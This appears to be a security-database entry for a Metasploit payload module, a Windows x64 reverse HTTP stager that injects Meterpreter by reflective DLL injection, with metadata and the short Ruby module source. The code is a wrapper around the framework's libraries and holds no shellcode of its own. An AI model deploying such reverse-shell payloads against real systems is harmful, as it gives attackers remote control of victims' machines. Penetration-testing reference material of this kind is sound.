Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)

2015-05-11T06:52:35
ID MSF:PAYLOAD/WINDOWS/X64/METERPRETER/REVERSE_WINHTTP
Type metasploit
Reporter Rapid7
Modified 2018-03-20T10:27:43

Description

Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTP (Windows x64 winhttp)

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_http'
require 'msf/core/payload/windows/x64/reverse_winhttp'

module MetasploitModule

  CachedSize = 745

  include Msf::Payload::Stager
  include Msf::Payload::Windows
  include Msf::Payload::Windows::ReverseWinHttp_x64

  def self.handler_type_alias
    "reverse_winhttp"
  end

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Windows x64 Reverse HTTP Stager (winhttp)',
      'Description' => 'Tunnel communication over HTTP (Windows x64 winhttp)',
      'Author'      => [ 'OJ Reeves' ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'win',
      'Arch'        => ARCH_X64,
      'Handler'     => Msf::Handler::ReverseHttp,
      'Convention'  => 'sockrdi http',
      'Stager'      => { 'Payload' => '' }))
  end
end